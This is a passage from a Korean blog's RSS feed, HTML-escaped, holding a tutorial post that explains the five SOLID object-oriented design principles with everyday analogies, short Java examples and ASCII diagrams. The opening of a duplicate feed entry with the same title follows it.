/&gt;이&amp;nbsp;지옥&amp;nbsp;같은&amp;nbsp;스파게티&amp;nbsp;누더기&amp;nbsp;코드가&amp;nbsp;되는&amp;nbsp;것을&amp;nbsp;막고,&amp;nbsp;세월이&amp;nbsp;흘러&amp;nbsp;요구사항이&amp;nbsp;폭풍처럼&amp;nbsp;바뀌어도&amp;nbsp;**&quot;새&amp;nbsp;기능은&amp;nbsp;쉽게&amp;nbsp;붙이고,&amp;nbsp;기존&amp;nbsp;코드는&amp;nbsp;건드리지&amp;nbsp;않아도&amp;nbsp;되는&quot;**&amp;nbsp;명품&amp;nbsp;소프트웨어를&amp;nbsp;만드는&amp;nbsp;객체지향&amp;nbsp;5대&amp;nbsp;설계&amp;nbsp;원칙,&amp;nbsp;바로&amp;nbsp;**SOLID&amp;nbsp;원칙**입니다. &lt;br /&gt;&lt;br /&gt;소프트웨어&amp;nbsp;구루&amp;nbsp;로버트&amp;nbsp;C.&amp;nbsp;마틴(Uncle&amp;nbsp;Bob)이&amp;nbsp;정립한&amp;nbsp;이&amp;nbsp;5가지&amp;nbsp;황금률의&amp;nbsp;핵심을&amp;nbsp;직관적인&amp;nbsp;일상의&amp;nbsp;비유로&amp;nbsp;정복해&amp;nbsp;보겠습니다. &lt;br /&gt;&lt;br /&gt;--- &lt;br /&gt;&lt;br /&gt;##&amp;nbsp; &amp;nbsp;SOLID&amp;nbsp;5대&amp;nbsp;원칙&amp;nbsp;한눈에&amp;nbsp;보기 &lt;br /&gt;&lt;br /&gt;``` &lt;br /&gt;+---+-----------------------------------------+------------------------------------------+ &lt;br /&gt;|&amp;nbsp;S&amp;nbsp;|&amp;nbsp;단일&amp;nbsp;책임&amp;nbsp;원칙&amp;nbsp;(Single&amp;nbsp;Responsibility)&amp;nbsp;&amp;nbsp;|&amp;nbsp;클래스는&amp;nbsp;단&amp;nbsp;하나의&amp;nbsp;변경&amp;nbsp;이유만&amp;nbsp;가져야&amp;nbsp;함&amp;nbsp;| &lt;br /&gt;|&amp;nbsp;O&amp;nbsp;|&amp;nbsp;개방-폐쇄&amp;nbsp;원칙&amp;nbsp;(Open-Closed)&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;|&amp;nbsp;확장은&amp;nbsp;열려&amp;nbsp;있고,&amp;nbsp;수정은&amp;nbsp;닫혀&amp;nbsp;있어야&amp;nbsp;함&amp;nbsp;&amp;nbsp;| &lt;br /&gt;|&amp;nbsp;L&amp;nbsp;|&amp;nbsp;리스코프&amp;nbsp;치환&amp;nbsp;원칙&amp;nbsp;(Liskov&amp;nbsp;Substitution)&amp;nbsp;|&amp;nbsp;자식은&amp;nbsp;부모의&amp;nbsp;자리를&amp;nbsp;온전히&amp;nbsp;대체&amp;nbsp;가능&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;| &lt;br /&gt;|&amp;nbsp;I&amp;nbsp;|&amp;nbsp;인터페이스&amp;nbsp;분리&amp;nbsp;원칙&amp;nbsp;(Interface&amp;nbsp;Segregation)|&amp;nbsp;자신이&amp;nbsp;쓰지&amp;nbsp;않는&amp;nbsp;메서드에&amp;nbsp;의존&amp;nbsp;금지&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;| &lt;br /&gt;|&amp;nbsp;D&amp;nbsp;|&amp;nbsp;의존역전&amp;nbsp;원칙&amp;nbsp;(Dependency&amp;nbsp;Inversion)&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;|&amp;nbsp;구체적인&amp;nbsp;부품이&amp;nbsp;아닌&amp;nbsp;추상적인&amp;nbsp;약속에&amp;nbsp;의존| &lt;br /&gt;+---+-----------------------------------------+------------------------------------------+ &lt;br /&gt;``` &lt;br /&gt;&lt;br /&gt;--- &lt;br /&gt;&lt;br /&gt;##&amp;nbsp; &amp;nbsp;1.&amp;nbsp;SRP:&amp;nbsp;단일&amp;nbsp;책임&amp;nbsp;원칙&amp;nbsp;(Single&amp;nbsp;Responsibility&amp;nbsp;Principle) &lt;br /&gt;&amp;gt;&amp;nbsp;**&quot;하나의&amp;nbsp;클래스는&amp;nbsp;단&amp;nbsp;하나의&amp;nbsp;책임(기능)만&amp;nbsp;맡아야&amp;nbsp;한다.&quot;** &lt;br /&gt;&lt;br /&gt;###&amp;nbsp; &amp;nbsp;일상&amp;nbsp;비유:&amp;nbsp;셰프가&amp;nbsp;청소도&amp;nbsp;하고&amp;nbsp;세무&amp;nbsp;회계도&amp;nbsp;보고&amp;nbsp;배달까지&amp;nbsp;뛴다면? &lt;br /&gt;식당의&amp;nbsp;주방장이&amp;nbsp;요리도&amp;nbsp;하고,&amp;nbsp;서빙도&amp;nbsp;하고,&amp;nbsp;식당&amp;nbsp;청소도&amp;nbsp;하고,&amp;nbsp;세무&amp;nbsp;기장&amp;nbsp;신고까지&amp;nbsp;혼자&amp;nbsp;다&amp;nbsp;한다고&amp;nbsp;상상해&amp;nbsp;봅시다.&amp;nbsp;&amp;nbsp; &lt;br /&gt;세법이&amp;nbsp;바뀌었을&amp;nbsp;뿐인데&amp;nbsp;주방장이&amp;nbsp;세무&amp;nbsp;공부를&amp;nbsp;하느라&amp;nbsp;주방을&amp;nbsp;비워&amp;nbsp;요리가&amp;nbsp;늦어지고&amp;nbsp;식당이&amp;nbsp;망합니다. &lt;br /&gt;&lt;br /&gt;```java &lt;br /&gt;//&amp;nbsp;❌&amp;nbsp;나쁜&amp;nbsp;예:&amp;nbsp;모든&amp;nbsp;걸&amp;nbsp;다&amp;nbsp;하는&amp;nbsp;잡탕&amp;nbsp;클래스 &lt;br /&gt;class&amp;nbsp;UserService&amp;nbsp;{ &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;void&amp;nbsp;registerUser()&amp;nbsp;{&amp;nbsp;/*&amp;nbsp;회원가입&amp;nbsp;로직&amp;nbsp;*/&amp;nbsp;} &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;void&amp;nbsp;sendWelcomeEmail()&amp;nbsp;{&amp;nbsp;/*&amp;nbsp;이메일&amp;nbsp;발송&amp;nbsp;HTML&amp;nbsp;조립&amp;nbsp;로직&amp;nbsp;*/&amp;nbsp;} &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;void&amp;nbsp;logToDatabase()&amp;nbsp;{&amp;nbsp;/*&amp;nbsp;DB&amp;nbsp;접근&amp;nbsp;및&amp;nbsp;파일&amp;nbsp;로깅&amp;nbsp;*/&amp;nbsp;} &lt;br /&gt;} &lt;br /&gt;&lt;br /&gt;//&amp;nbsp;✅&amp;nbsp;좋은&amp;nbsp;예:&amp;nbsp;책임별로&amp;nbsp;깔끔한&amp;nbsp;분리 &lt;br /&gt;class&amp;nbsp;UserService&amp;nbsp;{&amp;nbsp;/*&amp;nbsp;오직&amp;nbsp;회원가입&amp;nbsp;정책만&amp;nbsp;관리&amp;nbsp;*/&amp;nbsp;} &lt;br /&gt;class&amp;nbsp;EmailSender&amp;nbsp;{&amp;nbsp;/*&amp;nbsp;오직&amp;nbsp;이메일&amp;nbsp;전송만&amp;nbsp;담당&amp;nbsp;*/&amp;nbsp;} &lt;br /&gt;class&amp;nbsp;UserLogger&amp;nbsp;&amp;nbsp;{&amp;nbsp;/*&amp;nbsp;오직&amp;nbsp;감사&amp;nbsp;로그&amp;nbsp;기록만&amp;nbsp;담당&amp;nbsp;*/&amp;nbsp;} &lt;br /&gt;``` &lt;br /&gt;&lt;br /&gt;클래스를&amp;nbsp;수정해야&amp;nbsp;하는&amp;nbsp;이유는&amp;nbsp;오직&amp;nbsp;**&quot;그&amp;nbsp;기능의&amp;nbsp;정책이&amp;nbsp;바뀔&amp;nbsp;때&quot;**&amp;nbsp;단&amp;nbsp;하나여야&amp;nbsp;합니다. &lt;br /&gt;&lt;br /&gt;--- &lt;br /&gt;&lt;br /&gt;##&amp;nbsp; &amp;nbsp;2.&amp;nbsp;OCP:&amp;nbsp;개방-폐쇄&amp;nbsp;원칙&amp;nbsp;(Open-Closed&amp;nbsp;Principle) &lt;br /&gt;&amp;gt;&amp;nbsp;**&quot;소프트웨어&amp;nbsp;요소는&amp;nbsp;확장에는&amp;nbsp;열려(Open)&amp;nbsp;있어야&amp;nbsp;하고,&amp;nbsp;변경에는&amp;nbsp;닫혀(Closed)&amp;nbsp;있어야&amp;nbsp;한다.&quot;** &lt;br /&gt;&lt;br /&gt;###&amp;nbsp; &amp;nbsp;일상&amp;nbsp;비유:&amp;nbsp;멀티탭&amp;nbsp;콘센트 &lt;br /&gt;새로운&amp;nbsp;전자제품(스마트폰&amp;nbsp;충전기)을&amp;nbsp;샀다고&amp;nbsp;해서,&amp;nbsp;벽을&amp;nbsp;뜯고&amp;nbsp;전선&amp;nbsp;공사를&amp;nbsp;다시&amp;nbsp;할&amp;nbsp;필요가&amp;nbsp;없습니다.&amp;nbsp;멀티탭&amp;nbsp;구멍(인터페이스)에&amp;nbsp;새&amp;nbsp;플러그를&amp;nbsp;꽂기만&amp;nbsp;하면&amp;nbsp;됩니다! &lt;br /&gt;&lt;br /&gt;``` &lt;br /&gt;[&amp;nbsp;기존&amp;nbsp;코드의&amp;nbsp;수정&amp;nbsp;없이&amp;nbsp;새&amp;nbsp;기능&amp;nbsp;확장&amp;nbsp;] &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;+-------------------+ &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;|&amp;nbsp;&amp;lt;&amp;lt;&amp;nbsp;Payment&amp;nbsp;인터페이스&amp;nbsp;&amp;gt;&amp;gt;&amp;nbsp;| &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;+-------------------+ &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;▲ &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;┌───────────────────────┼───────────────────────┐ &lt;br /&gt;+---------------+&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;+---------------+&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;+---------------+ &lt;br /&gt;|&amp;nbsp;&amp;nbsp;KakaoPay&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;|&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;|&amp;nbsp;&amp;nbsp;&amp;nbsp;NaverPay&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;|&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;|&amp;nbsp;&amp;nbsp;&amp;nbsp;TossPay&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;| &lt;br /&gt;|&amp;nbsp;(기존&amp;nbsp;결제)&amp;nbsp;&amp;nbsp;&amp;nbsp;|&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;|&amp;nbsp;&amp;nbsp;(기존&amp;nbsp;결제)&amp;nbsp;&amp;nbsp;|&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;|&amp;nbsp;(신규&amp;nbsp;추가!)&amp;nbsp;&amp;nbsp;| &lt;br /&gt;+---------------+&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;+---------------+&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;+---------------+ &lt;br /&gt;``` &lt;br /&gt;&lt;br /&gt;새로운&amp;nbsp;결제&amp;nbsp;수단(토스페이)이&amp;nbsp;추가되더라도&amp;nbsp;기존&amp;nbsp;주문&amp;nbsp;처리&amp;nbsp;로직(`OrderService`)&amp;nbsp;코드는&amp;nbsp;**단&amp;nbsp;한&amp;nbsp;글자도&amp;nbsp;고칠&amp;nbsp;필요가&amp;nbsp;없어야**&amp;nbsp;합니다.&amp;nbsp;이것이&amp;nbsp;바로&amp;nbsp;인터페이스&amp;nbsp;다형성을&amp;nbsp;통한&amp;nbsp;OCP의&amp;nbsp;미학입니다. &lt;br /&gt;&lt;br /&gt;--- &lt;br /&gt;&lt;br /&gt;##&amp;nbsp; &amp;nbsp;3.&amp;nbsp;LSP:&amp;nbsp;리스코프&amp;nbsp;치환&amp;nbsp;원칙&amp;nbsp;(Liskov&amp;nbsp;Substitution&amp;nbsp;Principle) &lt;br /&gt;&amp;gt;&amp;nbsp;**&quot;자식&amp;nbsp;클래스는&amp;nbsp;언제나&amp;nbsp;부모&amp;nbsp;클래스의&amp;nbsp;역할을&amp;nbsp;온전히&amp;nbsp;대신할&amp;nbsp;수&amp;nbsp;있어야&amp;nbsp;한다.&quot;** &lt;br /&gt;&lt;br /&gt;###&amp;nbsp; &amp;nbsp;일상&amp;nbsp;비유:&amp;nbsp;자동차&amp;nbsp;렌터카 &lt;br /&gt;내가&amp;nbsp;현대&amp;nbsp;아반떼를&amp;nbsp;몰다가&amp;nbsp;렌터카로&amp;nbsp;벤츠&amp;nbsp;C클래스를&amp;nbsp;빌렸습니다.&amp;nbsp;&amp;nbsp; &lt;br /&gt;엑셀&amp;nbsp;페달을&amp;nbsp;밟았는데&amp;nbsp;차가&amp;nbsp;앞으로&amp;nbsp;가지&amp;nbsp;않고&amp;nbsp;뒤로&amp;nbsp;후진하거나&amp;nbsp;멈춰버린다면&amp;nbsp;그것은&amp;nbsp;더&amp;nbsp;이상&amp;nbsp;'자동차'가&amp;nbsp;아닙니다. &lt;br /&gt;&lt;br /&gt;``` &lt;br /&gt;[&amp;nbsp;유명한&amp;nbsp;직사각형-정사각형&amp;nbsp;역설&amp;nbsp;] &lt;br /&gt;-&amp;nbsp;부모:&amp;nbsp;직사각형&amp;nbsp;(가로와&amp;nbsp;세로의&amp;nbsp;길이가&amp;nbsp;독립적으로&amp;nbsp;변할&amp;nbsp;수&amp;nbsp;있음) &lt;br /&gt;-&amp;nbsp;자식:&amp;nbsp;정사각형&amp;nbsp;(가로를&amp;nbsp;바꾸면&amp;nbsp;세로도&amp;nbsp;무조건&amp;nbsp;똑같이&amp;nbsp;바뀌어버림!) &lt;br /&gt;&lt;br /&gt;➔&amp;nbsp;&quot;너는&amp;nbsp;사각형이니까&amp;nbsp;직사각형&amp;nbsp;대신&amp;nbsp;써도&amp;nbsp;되겠지?&quot;&amp;nbsp;하고&amp;nbsp;넣었다가&amp;nbsp; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;가로&amp;nbsp;길이를&amp;nbsp;늘렸더니&amp;nbsp;넓이&amp;nbsp;계산&amp;nbsp;공식이&amp;nbsp;깨져버리는&amp;nbsp;참사&amp;nbsp;발생! &lt;br /&gt;``` &lt;br /&gt;&lt;br /&gt;자식&amp;nbsp;클래스가&amp;nbsp;부모&amp;nbsp;클래스의&amp;nbsp;본래&amp;nbsp;의도와&amp;nbsp;규약을&amp;nbsp;위반해서는&amp;nbsp;안&amp;nbsp;된다는&amp;nbsp;원칙입니다. &lt;br /&gt;&lt;br /&gt;--- &lt;br /&gt;&lt;br /&gt;##&amp;nbsp; &amp;nbsp;4.&amp;nbsp;ISP:&amp;nbsp;인터페이스&amp;nbsp;분리&amp;nbsp;원칙&amp;nbsp;(Interface&amp;nbsp;Segregation&amp;nbsp;Principle) &lt;br /&gt;&amp;gt;&amp;nbsp;**&quot;자신이&amp;nbsp;사용하지&amp;nbsp;않는&amp;nbsp;불필요한&amp;nbsp;메서드에&amp;nbsp;의존하지&amp;nbsp;않도록&amp;nbsp;인터페이스를&amp;nbsp;작게&amp;nbsp;쪼개라.&quot;** &lt;br /&gt;&lt;br /&gt;###&amp;nbsp; ️&amp;nbsp;일상&amp;nbsp;비유:&amp;nbsp;만능&amp;nbsp;복합기 &lt;br /&gt;단순히&amp;nbsp;흑백&amp;nbsp;인쇄만&amp;nbsp;하고&amp;nbsp;싶은&amp;nbsp;사용자에게&amp;nbsp;&quot;팩스&amp;nbsp;번호를&amp;nbsp;입력하지&amp;nbsp;않으면&amp;nbsp;인쇄&amp;nbsp;버튼을&amp;nbsp;누를&amp;nbsp;수&amp;nbsp;없습니다&quot;라고&amp;nbsp;강요하는&amp;nbsp;꼴입니다. &lt;br /&gt;&lt;br /&gt;```java &lt;br /&gt;//&amp;nbsp;❌&amp;nbsp;나쁜&amp;nbsp;예:&amp;nbsp;너무&amp;nbsp;거대한&amp;nbsp;만능&amp;nbsp;인터페이스 &lt;br /&gt;interface&amp;nbsp;SmartMachine&amp;nbsp;{ &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;void&amp;nbsp;print(); &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;void&amp;nbsp;scan(); &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;void&amp;nbsp;fax(); &lt;br /&gt;} &lt;br /&gt;&lt;br /&gt;//&amp;nbsp;✅&amp;nbsp;좋은&amp;nbsp;예:&amp;nbsp;알맞게&amp;nbsp;쪼갠&amp;nbsp;역할&amp;nbsp;인터페이스 &lt;br /&gt;interface&amp;nbsp;Printable&amp;nbsp;{&amp;nbsp;void&amp;nbsp;print();&amp;nbsp;} &lt;br /&gt;interface&amp;nbsp;Scannable&amp;nbsp;{&amp;nbsp;void&amp;nbsp;scan();&amp;nbsp;} &lt;br /&gt;interface&amp;nbsp;Faxable&amp;nbsp;&amp;nbsp;&amp;nbsp;{&amp;nbsp;void&amp;nbsp;fax();&amp;nbsp;} &lt;br /&gt;``` &lt;br /&gt;&lt;br /&gt;클라이언트는&amp;nbsp;자신이&amp;nbsp;필요로&amp;nbsp;하는&amp;nbsp;최소한의&amp;nbsp;전용&amp;nbsp;기능&amp;nbsp;인터페이스만&amp;nbsp;바라보아야&amp;nbsp;시스템이&amp;nbsp;단순해집니다. &lt;br /&gt;&lt;br /&gt;--- &lt;br /&gt;&lt;br /&gt;##&amp;nbsp; &amp;nbsp;5.&amp;nbsp;DIP:&amp;nbsp;의존역전&amp;nbsp;원칙&amp;nbsp;(Dependency&amp;nbsp;Inversion&amp;nbsp;Principle) &lt;br /&gt;&amp;gt;&amp;nbsp;**&quot;고수준&amp;nbsp;모듈은&amp;nbsp;저수준&amp;nbsp;모듈의&amp;nbsp;구체적인&amp;nbsp;구현에&amp;nbsp;의존해서는&amp;nbsp;안&amp;nbsp;된다.&amp;nbsp;둘&amp;nbsp;다&amp;nbsp;추상화(인터페이스)에&amp;nbsp;의존해야&amp;nbsp;한다.&quot;** &lt;br /&gt;&lt;br /&gt;###&amp;nbsp; &amp;nbsp;일상&amp;nbsp;비유:&amp;nbsp;자동차와&amp;nbsp;스노우&amp;nbsp;타이어 &lt;br /&gt;자동차가&amp;nbsp;'금호&amp;nbsp;윈터타이어&amp;nbsp;특수&amp;nbsp;규격'에&amp;nbsp;딱&amp;nbsp;맞물려&amp;nbsp;용접되어&amp;nbsp;있다면,&amp;nbsp;봄이&amp;nbsp;되어&amp;nbsp;타이어를&amp;nbsp;바꿀&amp;nbsp;때&amp;nbsp;자동차&amp;nbsp;바퀴&amp;nbsp;축&amp;nbsp;전체를&amp;nbsp;잘라내야&amp;nbsp;합니다.&amp;nbsp;&amp;nbsp; &lt;br /&gt;자동차는&amp;nbsp;오직&amp;nbsp;**'원형&amp;nbsp;휠&amp;nbsp;규격(추상적&amp;nbsp;타이어&amp;nbsp;약속)'**에만&amp;nbsp;의존하고,&amp;nbsp;타이어&amp;nbsp;회사가&amp;nbsp;그&amp;nbsp;규격에&amp;nbsp;맞춰&amp;nbsp;부품을&amp;nbsp;갈아&amp;nbsp;끼울&amp;nbsp;수&amp;nbsp;있어야&amp;nbsp;합니다. &lt;br /&gt;&lt;br /&gt;``` &lt;br /&gt;[&amp;nbsp;DIP가&amp;nbsp;적용된&amp;nbsp;올바른&amp;nbsp;구조&amp;nbsp;] &lt;br /&gt;[&amp;nbsp;자동차&amp;nbsp;(Car)&amp;nbsp;]&amp;nbsp;───&amp;nbsp;의존&amp;nbsp;───&amp;gt;&amp;nbsp;[&amp;nbsp;&amp;lt;&amp;lt;&amp;nbsp;Tire&amp;nbsp;인터페이스&amp;nbsp;&amp;gt;&amp;gt;&amp;nbsp;] &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;▲ &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;┌───────────────┴───────────────┐ &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;[&amp;nbsp;일반&amp;nbsp;사계절&amp;nbsp;타이어&amp;nbsp;]&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;[&amp;nbsp;겨울용&amp;nbsp;스노우&amp;nbsp;타이어&amp;nbsp;] &lt;br /&gt;``` &lt;br /&gt;&lt;br /&gt;Spring&amp;nbsp;프레임워크의&amp;nbsp;핵심&amp;nbsp;무기인&amp;nbsp;**DI(의존성&amp;nbsp;주입)**와&amp;nbsp;**IoC(제어의&amp;nbsp;역전)**가&amp;nbsp;바로&amp;nbsp;이&amp;nbsp;DIP&amp;nbsp;원칙을&amp;nbsp;완벽하게&amp;nbsp;실현하기&amp;nbsp;위해&amp;nbsp;탄생한&amp;nbsp;기술입니다. &lt;br /&gt;&lt;br /&gt;--- &lt;br /&gt;&lt;br /&gt;##&amp;nbsp; &amp;nbsp;3줄&amp;nbsp;핵심&amp;nbsp;요약 &lt;br /&gt;&lt;br /&gt;1.&amp;nbsp;**SOLID**는&amp;nbsp;세월이&amp;nbsp;흘러&amp;nbsp;요구사항이&amp;nbsp;바뀌어도&amp;nbsp;망가지지&amp;nbsp;않는&amp;nbsp;유연하고&amp;nbsp;단단한&amp;nbsp;객체지향&amp;nbsp;소프트웨어를&amp;nbsp;만드는&amp;nbsp;5대&amp;nbsp;원칙이다. &lt;br /&gt;2.&amp;nbsp;기능별로&amp;nbsp;한&amp;nbsp;가지&amp;nbsp;책임만&amp;nbsp;맡기고(**SRP**),&amp;nbsp;구체적인&amp;nbsp;부품&amp;nbsp;대신&amp;nbsp;인터페이스&amp;nbsp;약속에&amp;nbsp;의존하여(**DIP**),&amp;nbsp;기존&amp;nbsp;코드&amp;nbsp;수정&amp;nbsp;없이&amp;nbsp;새&amp;nbsp;기능을&amp;nbsp;확장한다(**OCP**). &lt;br /&gt;3.&amp;nbsp;스프링(Spring)과&amp;nbsp;같은&amp;nbsp;현대&amp;nbsp;엔터프라이즈&amp;nbsp;프레임워크는&amp;nbsp;모두&amp;nbsp;이&amp;nbsp;SOLID&amp;nbsp;원칙을&amp;nbsp;극대화하기&amp;nbsp;위해&amp;nbsp;설계되었다. &lt;br /&gt;&lt;br /&gt;--- &lt;br /&gt;&lt;br /&gt;##&amp;nbsp; &amp;nbsp;다음&amp;nbsp;편&amp;nbsp;예고 &lt;br /&gt;&lt;br /&gt;소프트웨어&amp;nbsp;설계의&amp;nbsp;최고봉인&amp;nbsp;SOLID&amp;nbsp;원칙을&amp;nbsp;정복했습니다.&amp;nbsp;그렇다면&amp;nbsp;화면도&amp;nbsp;없고&amp;nbsp;키보드도&amp;nbsp;없는&amp;nbsp;자동차,&amp;nbsp;인공위성,&amp;nbsp;의료기기&amp;nbsp;속&amp;nbsp;작은&amp;nbsp;마이크로칩에서는&amp;nbsp;어떤&amp;nbsp;소프트웨어가&amp;nbsp;돌아가고&amp;nbsp;있을까요? &lt;br /&gt;&lt;br /&gt;다음&amp;nbsp;편에서는&amp;nbsp;1밀리초의&amp;nbsp;지연도&amp;nbsp;용납하지&amp;nbsp;않는&amp;nbsp;극한의&amp;nbsp;제어&amp;nbsp;시스템,&amp;nbsp;**[RTOS(실시간&amp;nbsp;운영체제)란&amp;nbsp;무엇인가?&amp;nbsp;-&amp;nbsp;1밀리초도&amp;nbsp;늦으면&amp;nbsp;안&amp;nbsp;되는&amp;nbsp;미션&amp;nbsp;크리티컬의&amp;nbsp;세계]**를&amp;nbsp;흥미진진하게&amp;nbsp;풀어드리겠습니다!&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>임베디드 &amp;amp; 차세대 기술</category>
      <category>OOP</category>
      <category>RTOS</category>
      <category>Solid</category>
      <category>개발기초</category>
      <category>객체지향</category>
      <category>디자인패턴</category>
      <category>리팩토링</category>
      <category>소프트웨어공학</category>
      <category>아키텍처</category>
      <category>클린코드</category>
      <author>arthurdaddy</author>
      <guid isPermaLink="true">https://softwin.tistory.com/94</guid>
      <comments>https://softwin.tistory.com/94#entry94comment</comments>
      <pubDate>Wed, 14 Oct 2026 23:35:52 +0900</pubDate>
    </item>
    <item>
      <title>객체지향 5대 설계 원칙 SOLID - 유지보수하기 쉬운 명품 소프트웨어의 비밀</title>
      <link>https://softwin.tistory.com/93</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;#&amp;nbsp;객체지향&amp;nbsp;5대&amp;nbsp;설계&amp;nbsp;원칙&amp;nbsp;SOLID&amp;nbsp;-&amp;nbsp;유지보수하기&amp;nbsp;쉬운&amp;nbsp;명품&amp;nbsp;소프트웨어의&amp;nbsp;비밀 &lt;br /&gt;&lt;br /&gt;--- &lt;br /&gt;&lt;br /&gt;##&amp;nbsp; ️&amp;nbsp;들어가며&amp;nbsp;-&amp;nbsp;처음엔&amp;nbsp;완벽했는데,&amp;nbsp;왜&amp;nbsp;6개월&amp;nbsp;뒤엔&amp;nbsp;'누더기&amp;nbsp;코드'가&amp;nbsp;될까? &lt;br /&gt;&lt;br 